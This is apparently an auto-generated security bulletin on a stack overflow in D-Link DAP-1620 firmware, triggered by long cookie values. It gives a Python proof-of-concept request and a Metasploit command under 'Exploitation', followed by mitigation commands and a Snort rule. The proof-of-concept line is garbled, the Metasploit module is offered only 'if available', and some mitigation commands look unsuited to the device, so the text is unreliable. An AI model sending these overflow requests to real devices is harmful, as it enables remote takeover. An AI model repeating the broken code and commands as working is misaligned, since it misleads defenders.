The CVE-2025-2619 vulnerability in D-Link DAP-1620 firmware version 1.03 occurs in the `check_dws_cookie` function within the `/storage` component. This function improperly handles cookie data, leading to a stack-based buffer overflow when processing overly long inputs. Attackers can remotely trigger this flaw by sending a specially crafted HTTP request containing malicious cookie values, overwriting critical stack memory. This allows arbitrary code execution with root privileges due to insufficient bounds checking in the firmware’s cookie validation logic.
DailyCVE Form
Platform: D-Link DAP-1620
Version: 1.03
Vulnerability: Stack overflow
Severity: Critical
Date: 03/26/2025
What Undercode Say:
Exploitation:
- Craft an HTTP request with oversized cookie data:
import requests url = "http://<TARGET_IP>/storage" malicious_cookie = "A" 1024 Overflow trigger requests.get(url, cookies={"dws_cookie": malicious_cookie})
2. Metasploit module (if available):
use exploit/linux/http/dlink_dap1620_overflow set RHOST <TARGET_IP> run
Mitigation:
1. Disable remote admin access:
iptables -A INPUT -p tcp --dport 80 -j DROP
2. Firmware patch check (no official fix):
curl -I http://<TARGET_IP>/fw_version | grep "1.03"
Detection:
1. Snort rule:
alert tcp any any -> any 80 (msg:"CVE-2025-2619 Exploit Attempt"; content:"dws_cookie="; depth:1000; classtype:attempted-admin;)
2. Log analysis for overflow patterns:
grep -i "storage.cookie" /var/log/httpd.log
Memory Protection (if device supports):
echo 1 > /proc/sys/kernel/exec-shield
